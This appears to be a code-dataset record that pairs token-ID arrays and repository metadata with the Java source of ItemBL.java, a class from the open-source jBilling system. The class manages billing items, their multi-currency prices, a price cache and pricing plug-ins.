64,
222,
485,
26177,
51,
624,
51,
35126,
51,
33518,
8337,
64,
222,
485,
26177,
51,
624,
51,
16686,
51,
5952,
2769,
64,
222,
222,
1350,
222,
2760,
3671,
1357,
50,
1384,
1120,
222,
338,
42370,
341,
6244,
34069,
327,
24067,
575,
4002,
566,
222,
338,
350,
858,
789,
858,
67,
222,
2760,
3671,
1357,
50,
435,
1120,
222,
338,
222,
2760,
2089,
50,
1384,
1120,
222,
338,
350,
1023,
13115,
7506,
50,
2675,
568,
2176,
64,
6672,
129,
38715,
129,
10436,
129,
1608,
129,
6196,
129,
75,
3142,
129,
12619,
546,
129,
75,
3142,
654,
43,
1855,
64,
327,
2449,
63,
5751,
2671,
46,
222,
338,
568,
1672,
2416,
1672,
2416,
1672,
64,
1338,
5751,
3215,
456,
1716,
1073,
3896,
480,
15073,
1716,
51,
222,
338,
568,
1672,
2416,
1672,
2416,
1672,
64,
1555,
63,
18226,
222,
338,
594,
1023,
67,
222,
338,
222,
338,
350,
1023,
13115,
316,
50,
3324,
568,
2176,
64,
4412,
43,
1855,
64,
327,
2449,
63,
458,
5209,
46,
222,
338,
568,
1672,
2416,
1672,
2416,
1672,
64,
2811,
758,
391,
878,
49,
341,
6165,
904,
23904,
641,
9879,
480,
666,
641,
4742,
17536,
51,
222,
338,
568,
1672,
2416,
1672,
2416,
1672,
64,
1555,
63,
878,
222,
338,
594,
1023,
67,
222,
338,
222,
2760,
2089,
50,
435,
1120,
222,
338,
222,
338,
496,
2133,
244,
33868,
367,
538,
327,
8829,
367,
538,
840,
27884,
1567,
6599,
8078,
1449,
8078,
20181,
46,
222,
338,
496,
1687,
417,
14021,
41,
222,
588,
222,
942,
462,
9312,
703,
17071,
353,
2041,
7406,
4090,
1280,
2154,
26513,
320,
736,
1041,
456,
22672,
51,
588,
353,
964,
924,
1175,
1964,
19896,
299,
244,
55,
54,
57,
54,
55,
58,
55,
56,
59,
59,
53,
58,
59,
54,
54,
55,
59,
59,
61,
81,
64,
736,
1041,
4962,
341,
12146,
904,
9879,
575,
4742,
17536,
51,
588,
353,
2532,
1922,
364,
100,
1640,
5209,
64,
736,
1041,
682,
338,
3777,
331,
821,
22454,
341,
1319,
51,
682,
338,
682,
338,
496,
620,
10883,
221,
102,
3066,
19653,
456,
25972,
347,
341,
17390,
682,
588,
353,
496,
1806,
353,
581,
910,
3671,
1139,
365,
320,
303,
461,
332,
11565,
1218,
341,
6244,
34069,
327,
24067,
575,
4002,
566,
884,
353,
339,
736,
1041,
682,
338,
15444,
2089,
391,
341,
3584,
1168,
451,
2089,
51,
682,
588,
353,
496,
1806,
353,
581,
782,
5623,
2045,
365,
320,
303,
2615,
51,
1252,
2045,
492,
465,
364,
100,
2846,
1590,
51,
688,
45,
3281,
332,
316,
50,
3324,
411,
332,
316,
5209,
411,
3281,
878,
312,
353,
339,
736,
1041,
682,
338,
9023,
4962,
341,
6165,
4073,
9879,
4203,
451,
4742,
17536,
51,
682,
338,
682,
338,
496,
772,
804,
221,
1527,
434,
6165,
904,
9879,
480,
666,
4742,
17536,
682,
588,
353,
581,
782,
26502,
5209,
45,
4412,
804,
46,
320,
303,
364,
100,
1640,
5209,
299,
804,
64,
303,
5672,
492,
353,
339,
736,
1041,
682,
338,
3777,
4962,
341,
6165,
4073,
9879,
4203,
451,
4742,
17536,
51,
682,
338,
682,
338,
496,
620,
221,
221,
1527,
434,
6165,
904,
9879,
480,
666,
4742,
17536,
682,
588,
353,
581,
1922,
640,
1640,
5209,
365,
320,
303,
461,
364,
100,
1640,
5209,
64,
353,
339,
736,
1041,
682,
338,
3777,
341,
8318,
1367,
456,
477,
2821,
51,
682,
338,
682,
338,
496,
620,
4238,
221,
3976,
1367,
456,
477,
2821,
19653,
456,
682,
338,
10883,
221,
2784,
318,
347,
341,
13029,
575,
456,
14822,
341,
2089,
51,
682,
588,
353,
581,
910,
458,
5209,
6251,
1049,
365,
320,
303,
461,
332,
2811,
758,
391,
878,
49,
341,
6165,
904,
23904,
641,
9879,
480,
666,
641,
4742,
17536,
12984,
353,
339,
736,
1041,
682,
338,
10420,
19986,
992,
341,
8652,
11753,
2703,
1187,
341,
12426,
1178,
2602,
21316,
51,
682,
338,
9075,
338,
496,
772,
13068,
221,
1402,
41015,
391,
4468,
341,
8652,
456,
682,
338,
496,
772,
956,
1301,
221,
1402,
2656,
1671,
682,
338,
496,
620,
221,
221,
1402,
4741,
8652,
682,
588,
353,
496,
1806,
353,
2532,
5034,
870,
8337,
2381,
16355,
45,
33518,
8337,
13068,
49,
648,
956,
1301,
46,
320,
303,
5034,
870,
8337,
221,
1285,
64,
303,
5582,
221,
221,
661,
64,
465,
1074,
299,
1506,
2319,
2661,
492,
465,
2720,
299,
1074,
51,
688,
2368,
492,
303,
2720,
51,
688,
2917,
45,
53,
566,
29480,
459,
10701,
8488,
39,
494,
327,
43448,
5209,
365,
1037,
3347,
518,
332,
85,
2992,
303,
2720,
51,
688,
2917,
45,
54,
566,
29480,
45,
5952,
2769,
51,
1550,
1920,
45,
114,
100,
3367,
51,
14315,
1046,
640,
1640,
5209,
5086,
465,
364,
100,
3367,
299,
762,
64,
2205,
461,
1074,
64,
353,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,005
| true
| 67.850467
| true
| true
|
ItemBL.java
|
/FileExtraction/Java_unseen/mosabsalih_jBilling/src/java/com/sapienter/jbilling/server/item/ItemBL.java
|
/*
jBilling - The Enterprise Open Source Billing System
Copyright (C) 2003-2011 Enterprise jBilling Software Ltd. and Emiliano Conde
This file is part of jbilling.
jbilling is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
jbilling is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with jbilling. If not, see <http://www.gnu.org/licenses/>.
*/
package com.sapienter.jbilling.server.item;
import java.util.Collection;
import java.util.Iterator;
import java.util.List;
import com.sapienter.jbilling.server.item.event.ItemDeletedEvent;
import com.sapienter.jbilling.server.item.event.ItemUpdatedEvent;
import com.sapienter.jbilling.server.item.event.NewItemEvent;
import com.sapienter.jbilling.server.order.db.OrderDTO;
import com.sapienter.jbilling.server.system.event.EventManager;
import org.apache.log4j.Logger;
import org.springmodules.cache.provider.CacheProviderFacade;
import org.springmodules.cache.CachingModel;
import org.springmodules.cache.FlushingModel;
import com.sapienter.jbilling.common.SessionInternalError;
import com.sapienter.jbilling.server.item.db.ItemDAS;
import com.sapienter.jbilling.server.item.db.ItemDTO;
import com.sapienter.jbilling.server.item.db.ItemPriceDAS;
import com.sapienter.jbilling.server.item.db.ItemPriceDTO;
import com.sapienter.jbilling.server.item.db.ItemTypeDTO;
import com.sapienter.jbilling.server.item.tasks.IPricing;
import com.sapienter.jbilling.server.order.db.OrderLineDAS;
import com.sapienter.jbilling.server.pluggableTask.admin.PluggableTaskManager;
import com.sapienter.jbilling.server.user.EntityBL;
import com.sapienter.jbilling.server.user.UserBL;
import com.sapienter.jbilling.server.user.db.CompanyDAS;
import com.sapienter.jbilling.server.user.db.CompanyDTO;
import com.sapienter.jbilling.server.util.Constants;
import com.sapienter.jbilling.server.util.Context;
import com.sapienter.jbilling.server.util.audit.EventLogger;
import com.sapienter.jbilling.server.util.db.CurrencyDAS;
import com.sapienter.jbilling.server.util.db.CurrencyDTO;
import java.math.BigDecimal;
import java.util.ArrayList;
public class ItemBL {
private static final Logger LOG = Logger.getLogger(ItemBL.class);
private ItemDAS itemDas = null;
private ItemDTO item = null;
private EventLogger eLogger = null;
private String priceCurrencySymbol = null;
private List<PricingField> pricingFields = null;
// item price cache for getPrice()
private CacheProviderFacade cache;
private CachingModel cacheModel;
private FlushingModel flushModel;
public ItemBL(Integer itemId)
throws SessionInternalError {
try {
init();
set(itemId);
} catch (Exception e) {
throw new SessionInternalError("Setting item", ItemBL.class, e);
}
}
public ItemBL() {
init();
}
public ItemBL(ItemDTO item) {
this.item = item;
init();
}
public void set(Integer itemId) {
item = itemDas.find(itemId);
}
private void init() {
eLogger = EventLogger.getInstance();
itemDas = new ItemDAS();
cache = (CacheProviderFacade) Context.getBean(Context.Name.CACHE);
cacheModel = (CachingModel) Context.getBean(
Context.Name.CACHE_MODEL_ITEM_PRICE);
flushModel = (FlushingModel) Context.getBean(
Context.Name.CACHE_FLUSH_MODEL_ITEM_PRICE);
}
public ItemDTO getEntity() {
return item;
}
public Integer create(ItemDTO dto, Integer languageId) {
EntityBL entity = new EntityBL(dto.getEntityId());
if (languageId == null) {
languageId = entity.getEntity().getLanguageId();
}
if (dto.getHasDecimals() != null) {
dto.setHasDecimals(dto.getHasDecimals());
} else {
dto.setHasDecimals(0);
}
dto.setDeleted(0);
item = itemDas.save(dto);
item.setDescription(dto.getDescription(), languageId);
updateTypes(dto);
updateExcludedTypes(dto);
updateCurrencies(dto);
// trigger internal event
EventManager.process(new NewItemEvent(item));
return item.getId();
}
public void update(Integer executorId, ItemDTO dto, Integer languageId) {
eLogger.audit(executorId, null, Constants.TABLE_ITEM, item.getId(),
EventLogger.MODULE_ITEM_MAINTENANCE,
EventLogger.ROW_UPDATED, null, null, null);
item.setNumber(dto.getNumber());
item.setPriceManual(dto.getPriceManual());
item.setDescription(dto.getDescription(), languageId);
item.setPercentage(dto.getPercentage());
item.setHasDecimals(dto.getHasDecimals());
updateTypes(dto);
updateExcludedTypes(dto);
if (item.getPercentage() == null) {
// update price currencies
updateCurrencies(dto);
} else {
// percentage items shouldn't have a price, remove all old prices
for (ItemPriceDTO price : item.getItemPrices()) {
new ItemPriceDAS().delete(price);
}
item.getItemPrices().clear();
}
itemDas.save(item);
invalidateCache();
// trigger internal event
EventManager.process(new ItemUpdatedEvent(item));
}
private void updateTypes(ItemDTO dto)
{
// update the types relationship
Collection types = item.getItemTypes();
types.clear();
ItemTypeBL typeBl = new ItemTypeBL();
// TODO verify that all the categories belong to the same
// order_line_type_id
for (int f=0; f < dto.getTypes().length; f++) {
typeBl.set(dto.getTypes()[f]);
types.add(typeBl.getEntity());
}
}
private void updateExcludedTypes(ItemDTO dto) {
item.getExcludedTypes().clear();
ItemTypeBL itemType = new ItemTypeBL();
for (Integer typeId : dto.getExcludedTypeIds()) {
itemType.set(typeId);
item.getExcludedTypes().add(itemType.getEntity());
}
}
private void updateCurrencies(ItemDTO dto) {
LOG.debug("updating prices. prices " + (dto.getPrices() != null) +
" price = " + dto.getPrice());
ItemPriceDAS itemPriceDas = new ItemPriceDAS();
// may be there's just one simple price
if (dto.getPrices() == null) {
if (dto.getPrice() != null) {
List prices = new ArrayList();
// get the defualt currency of the entity
CurrencyDTO currency = new CurrencyDAS().findNow(
dto.getCurrencyId());
if (currency == null) {
EntityBL entity = new EntityBL(dto.getEntityId());
currency = entity.getEntity().getCurrency();
}
ItemPriceDTO price = new ItemPriceDTO(null, dto, dto.getPrice(),
currency);
prices.add(price);
dto.setPrices(prices);
} else {
LOG.warn("updatedCurrencies was called, but this " +
"item has no price");
return;
}
}
// a call to clear() would simply set item_price.entity_id = null
// instead of removing the row
for (int f = 0; f < dto.getPrices().size(); f++) {
ItemPriceDTO price = (ItemPriceDTO) dto.getPrices().get(f);
ItemPriceDTO priceRow = null;
priceRow = itemPriceDas.find(dto.getId(),
price.getCurrencyId());
if (price.getPrice() != null) {
if (priceRow != null) {
// if there one there already, update it
priceRow.setPrice(price.getPrice());
} else {
// nothing there, create one
ItemPriceDTO itemPrice= new ItemPriceDTO(null, item,
price.getPrice(), price.getCurrency());
item.getItemPrices().add(itemPrice);
}
} else {
// this price should be removed if it is there
if (priceRow != null) {
itemPriceDas.delete(priceRow);
}
}
}
// invalidate item/price cache
invalidateCache();
}
public void delete(Integer executorId) {
item.setDeleted(new Integer(1));
eLogger.audit(executorId, null, Constants.TABLE_ITEM, item.getId(),
EventLogger.MODULE_ITEM_MAINTENANCE,
EventLogger.ROW_DELETED, null, null, null);
// trigger internal event
EventManager.process(new ItemDeletedEvent(item));
itemDas.flush();
itemDas.clear();
}
public boolean validateDecimals( Integer hasDecimals ){
if( hasDecimals == 0 ){
if(new OrderLineDAS().findLinesWithDecimals(item.getId()) > 0) {
return false;
}
}
return true;
}
/**
* This is the basic price, without any plug-ins applied.
* It only takes into account the currency and makes the necessary
* conversions.
* It uses a cache to avoid repeating this look-up too often
* @return The price in the requested currency
*/
public BigDecimal getPriceByCurrency(ItemDTO item, Integer entityId, Integer currencyId) {
BigDecimal retValue = null;
// try to get cached item price for this currency
retValue = (BigDecimal) cache.getFromCache(item.getId() +
currencyId.toString(), cacheModel);
if (retValue != null) {
return retValue;
}
// get the item's defualt price
int prices = 0;
BigDecimal aPrice = null;
Integer aCurrency = null;
// may be the item has a price in this currency
for (Iterator it = item.getItemPrices().iterator(); it.hasNext(); ) {
prices++;
ItemPriceDTO price = (ItemPriceDTO) it.next();
if (price.getCurrencyId().equals(currencyId)) {
// it is there!
retValue = price.getPrice();
break;
} else {
// the pivot has priority, for a more accurate conversion
if (aCurrency == null || aCurrency.intValue() != 1) {
aPrice = price.getPrice();
aCurrency = price.getCurrencyId();
}
}
}
if (prices > 0 && retValue == null) {
// there are prices defined, but not for the currency required
try {
CurrencyBL currencyBL = new CurrencyBL();
retValue = currencyBL.convert(aCurrency, currencyId, aPrice, entityId);
} catch (Exception e) {
throw new SessionInternalError(e);
}
} else {
if (retValue == null) {
throw new SessionInternalError("No price defined for item " +
item.getId());
}
}
cache.putInCache(item.getId() + currencyId.toString(), cacheModel,
retValue);
return retValue;
}
public BigDecimal getPrice(Integer userId, BigDecimal quantity, Integer entityId) throws SessionInternalError {
UserBL user = new UserBL(userId);
return getPrice(userId, user.getCurrencyId(), quantity, entityId, null);
}
public BigDecimal getPrice(Integer userId, Integer currencyId, BigDecimal quantity, Integer entityId) throws SessionInternalError {
UserBL user = new UserBL(userId);
return getPrice(userId, currencyId, quantity, entityId, null);
}
/**
* Will find the right price considering the user's special prices and which
* currencies had been entered in the prices table.
*
* @param userId user id
* @param currencyId currency id
* @param entityId entity id
* @param order order being created or edited, maybe used for additional pricing calculations
* @return The price in the requested currency. It always returns a price,
* otherwise an exception for lack of pricing for an item
*/
public BigDecimal getPrice(Integer userId, Integer currencyId, BigDecimal quantity, Integer entityId, OrderDTO order)
throws SessionInternalError {
if (currencyId == null || entityId == null) {
throw new SessionInternalError("Can't get a price with null parameters. "
+ "currencyId = " + currencyId
+ " entityId = " + entityId);
}
CurrencyBL currencyBL;
try {
currencyBL = new CurrencyBL(currencyId);
priceCurrencySymbol = currencyBL.getEntity().getSymbol();
} catch (Exception e) {
throw new SessionInternalError(e);
}
// default "simple" price
BigDecimal price = getPriceByCurrency(item, entityId, currencyId);
// run a plug-in with external logic (rules), if available
try {
PluggableTaskManager<IPricing> taskManager
= new PluggableTaskManager<IPricing>(entityId, Constants.PLUGGABLE_TASK_ITEM_PRICING);
IPricing myTask = taskManager.getNextClass();
while(myTask != null) {
price = myTask.getPrice(item.getId(), quantity, userId, currencyId, pricingFields, price, order);
myTask = taskManager.getNextClass();
}
} catch (Exception e) {
throw new SessionInternalError("Item pricing task error", ItemBL.class, e);
}
return price;
}
/**
* Returns an ItemDTO constructed for the given language and entity, priced for the
* given user and currency.
*
* @param languageId id of the users language
* @param userId id of the user purchasing the item
* @param entityId id of the entity
* @param currencyId id of the currency
* @return item dto
* @throws SessionInternalError if an internal exception occurs processing request
*/
public ItemDTO getDTO(Integer languageId, Integer userId, Integer entityId, Integer currencyId)
throws SessionInternalError {
return getDTO(languageId, userId, entityId, currencyId, BigDecimal.ONE, null);
}
/**
* Returns an ItemDTO constructed for the given language and entity, priced for the
* given user, currency and the amount being purchased.
*
* @param languageId id of the users language
* @param userId id of the user purchasing the item
* @param entityId id of the entity
* @param currencyId id of the currency
* @param quantity quantity being purchased
* @return item dto
* @throws SessionInternalError if an internal exception occurs processing request
*/
public ItemDTO getDTO(Integer languageId, Integer userId, Integer entityId, Integer currencyId, BigDecimal quantity)
throws SessionInternalError {
return getDTO(languageId, userId, entityId, currencyId, quantity, null);
}
/**
* Returns an ItemDTO constructed for the given language and entity, priced for the
* given user, currency and the amount being purchased.
*
* @param languageId id of the users language
* @param userId id of the user purchasing the item
* @param entityId id of the entity
* @param currencyId id of the currency
* @param quantity quantity being purchased
* @param order order that this item is to be added to. may be null if no order operation.
* @return item dto
* @throws SessionInternalError if an internal exception occurs processing request
*/
public ItemDTO getDTO(Integer languageId, Integer userId, Integer entityId, Integer currencyId, BigDecimal quantity,
OrderDTO order) throws SessionInternalError {
ItemDTO dto = new ItemDTO(
item.getId(),
item.getInternalNumber(),
item.getGlCode(),
item.getEntity(),
item.getDescription(languageId),
item.getPriceManual(),
item.getDeleted(),
currencyId,
null,
item.getPercentage(),
null, // to be set right after
item.getHasDecimals() );
// add all the prices for each currency
// if this is a percenteage, we still need an array with empty prices
dto.setPrices(findPrices(entityId, languageId));
if (currencyId != null && dto.getPercentage() == null) {
dto.setPrice(getPrice(userId, currencyId, quantity, entityId, order));
}
// set the types
Integer types[] = new Integer[item.getItemTypes().size()];
int n = 0;
for (ItemTypeDTO type : item.getItemTypes()) {
types[n++] = type.getId();
dto.setOrderLineTypeId(type.getOrderLineTypeId());
}
dto.setTypes(types);
// set excluded types
Integer excludedTypes[] = new Integer[item.getExcludedTypes().size()];
int i = 0;
for (ItemTypeDTO type : item.getExcludedTypes()) {
excludedTypes[i++] = type.getId();
}
dto.setExcludedTypeIds(excludedTypes);
LOG.debug("Got item: " + dto.getId() + ", price: " + dto.getPrice());
return dto;
}
public ItemDTO getDTO(ItemDTOEx other) {
ItemDTO retValue = new ItemDTO();
if (other.getId() != null) {
retValue.setId(other.getId());
}
retValue.setEntity(new CompanyDAS().find(other.getEntityId()));
retValue.setNumber(other.getNumber());
retValue.setGlCode(other.getGlCode());
retValue.setPercentage(other.getPercentageAsDecimal());
retValue.setPriceManual(other.getPriceManual());
retValue.setDeleted(other.getDeleted());
retValue.setHasDecimals(other.getHasDecimals());
retValue.setDescription(other.getDescription());
retValue.setTypes(other.getTypes());
retValue.setExcludedTypeIds(other.getExcludedTypes());
retValue.setPromoCode(other.getPromoCode());
retValue.setCurrencyId(other.getCurrencyId());
retValue.setPrice(other.getPriceAsDecimal());
retValue.setOrderLineTypeId(other.getOrderLineTypeId());
// convert prices between DTO and DTOEx (WS)
List otherPrices = other.getPrices();
if (otherPrices != null) {
List prices = new ArrayList(otherPrices.size());
for (int i = 0; i < otherPrices.size(); i++) {
ItemPriceDTO itemPrice = new ItemPriceDTO();
ItemPriceDTOEx otherPrice = (ItemPriceDTOEx) otherPrices.get(i);
itemPrice.setId(otherPrice.getId());
itemPrice.setCurrency(new CurrencyDAS().find(
otherPrice.getCurrencyId()));
itemPrice.setPrice(otherPrice.getPriceAsDecimal());
itemPrice.setName(otherPrice.getName());
itemPrice.setPriceForm(otherPrice.getPriceForm());
prices.add(itemPrice);
}
retValue.setPrices(prices);
}
return retValue;
}
public ItemDTOEx getWS(ItemDTO other) {
if (other == null) {
other = item;
}
ItemDTOEx retValue = new ItemDTOEx();
retValue.setId(other.getId());
retValue.setEntityId(other.getEntity().getId());
retValue.setNumber(other.getInternalNumber());
retValue.setGlCode(other.getGlCode());
retValue.setPercentage(other.getPercentage());
retValue.setPriceManual(other.getPriceManual());
retValue.setDeleted(other.getDeleted());
retValue.setHasDecimals(other.getHasDecimals());
retValue.setDescription(other.getDescription());
retValue.setTypes(other.getTypes());
retValue.setExcludedTypes(other.getExcludedTypeIds());
retValue.setPromoCode(other.getPromoCode());
retValue.setCurrencyId(other.getCurrencyId());
retValue.setPrice(other.getPrice());
retValue.setOrderLineTypeId(other.getOrderLineTypeId());
retValue.setPrices(other.getPrices());
// convert prices between DTOEx (WS) and DTO
List otherPrices = other.getPrices();
if (otherPrices != null) {
List prices = new ArrayList(otherPrices.size());
for (int i = 0; i < otherPrices.size(); i++) {
ItemPriceDTOEx itemPrice = new ItemPriceDTOEx();
ItemPriceDTO otherPrice = (ItemPriceDTO) otherPrices.get(i);
itemPrice.setId(otherPrice.getId());
itemPrice.setCurrencyId(otherPrice.getCurrency().getId());
itemPrice.setPrice(otherPrice.getPrice());
itemPrice.setName(otherPrice.getName());
itemPrice.setPriceForm(otherPrice.getPriceForm());
prices.add(itemPrice);
}
retValue.setPrices(prices);
}
return retValue;
}
/**
* This method will try to find a currency id for this item. It will
* give priority to the entity's default currency, otherwise anyone
* will do.
* @return
*/
private List findPrices(Integer entityId, Integer languageId) {
List retValue = new ArrayList();
// go over all the curencies of this entity
for (CurrencyDTO currency: item.getEntity().getCurrencies()) {
ItemPriceDTO price = new ItemPriceDTO();
price.setCurrency(currency);
price.setName(currency.getDescription(languageId));
// se if there's a price in this currency
ItemPriceDTO priceRow = new ItemPriceDAS().find(
item.getId(),currency.getId());
if (priceRow != null) {
price.setPrice(priceRow.getPrice());
price.setPriceForm(price.getPrice().toString());
}
retValue.add(price);
}
return retValue;
}
/**
* @return
*/
public String getPriceCurrencySymbol() {
return priceCurrencySymbol;
}
/**
* Returns all items for the given entity.
* @param entityId
* The id of the entity.
* @return an array of all items
*/
public ItemDTOEx[] getAllItems(Integer entityId) {
EntityBL entityBL = new EntityBL(entityId);
CompanyDTO entity = entityBL.getEntity();
Collection itemEntities = entity.getItems();
ItemDTOEx[] items = new ItemDTOEx[itemEntities.size()];
// iterate through returned item entities, converting them into a DTO
int index = 0;
for (ItemDTO item: entity.getItems()) {
set(item.getId());
items[index++] = getWS(getDTO(entity.getLanguageId(),
null, entityId, entity.getCurrencyId()));
}
return items;
}
/**
* Returns all items for the given item type (category) id. If no results
* are found an empty array is returned.
*
* @see ItemDAS#findAllByItemType(Integer)
*
* @param itemTypeId item type (category) id
* @return array of found items, empty if none found
*/
public ItemDTOEx[] getAllItemsByType(Integer itemTypeId) {
List<ItemDTO> results = new ItemDAS().findAllByItemType(itemTypeId);
ItemDTOEx[] items = new ItemDTOEx[results.size()];
int index = 0;
for (ItemDTO item : results)
items[index++] = getWS(item);
return items;
}
public void setPricingFields(List<PricingField> fields) {
pricingFields = fields;
}
public void invalidateCache() {
cache.flushCache(flushModel);
}
}
| 25,305
|
Java
|
.java
|
mosabsalih/jBilling
| 43
| 70
| 0
|
2011-11-28T06:39:35Z
|
2011-09-27T21:24:27Z
|
6cc34ecc6811cdd7281558e3cccad9cb22059affdc8db62e8f5f7adf882c133b
|
[
1127,
222,
614,
21773,
449,
906,
23417,
3944,
6391,
47575,
1189,
222,
2657,
327,
72,
46,
244,
55,
53,
53,
56,
50,
55,
53,
54,
54,
23417,
614,
21773,
3870,
19534,
51,
480,
14866,
354,
25720,
1356,
305,
499,
1369,
822,
458,
1760,
451,
614,
19424,
51,
499,
614,
19424,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
9582,
829,
222,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
499,
614,
19424,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
499,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
222,
7979,
642,
614,
19424,
51,
244,
1691,
666,
49,
2337,
350,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
28699,
222,
588,
222,
222,
1337,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1113,
64,
222,
222,
485,
1401,
51,
1058,
51,
2272,
64,
222,
485,
1401,
51,
1058,
51,
5740,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1113,
51,
1585,
51,
1114,
13578,
1167,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1113,
51,
1585,
51,
1114,
9052,
1167,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1113,
51,
1585,
51,
1827,
1114,
1167,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1191,
51,
1219,
51,
2888,
8723,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
2964,
51,
1585,
51,
1167,
1590,
64,
222,
485,
1105,
51,
2121,
51,
769,
57,
111,
51,
3716,
64,
222,
222,
485,
1105,
51,
3407,
3490,
51,
2630,
51,
6390,
51,
2610,
2588,
19572,
64,
222,
485,
1105,
51,
3407,
3490,
51,
2630,
51,
31665,
1262,
64,
222,
485,
1105,
51,
3407,
3490,
51,
2630,
51,
15941,
318,
1262,
64,
222,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
2297,
51,
3152,
4305,
943,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1113,
51,
1219,
51,
1114,
73,
1117,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1113,
51,
1219,
51,
1114,
8723,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1113,
51,
1219,
51,
1114,
5620,
73,
1117,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1113,
51,
1219,
51,
1114,
5620,
8723,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1113,
51,
1219,
51,
27222,
8723,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1113,
51,
8255,
51,
2046,
3953,
318,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1191,
51,
1219,
51,
2888,
1829,
73,
1117,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
21589,
15321,
2265,
51,
2317,
51,
25700,
15321,
2265,
1590,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
514,
51,
2234,
5165,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
514,
51,
1259,
5165,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
514,
51,
1219,
51,
12318,
73,
1117,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
514,
51,
1219,
51,
12318,
8723,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1058,
51,
5238,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1058,
51,
1237,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1058,
51,
16662,
51,
1167,
3716,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1058,
51,
1219,
51,
12096,
73,
1117,
64,
222,
485,
785,
51,
120,
1256,
1422,
51,
11663,
9217,
51,
1805,
51,
1058,
51,
1219,
51,
12096,
8723,
64,
222,
485,
1401,
51,
3851,
51,
20808,
64,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
222,
942,
462,
6337,
5165,
320,
465,
964,
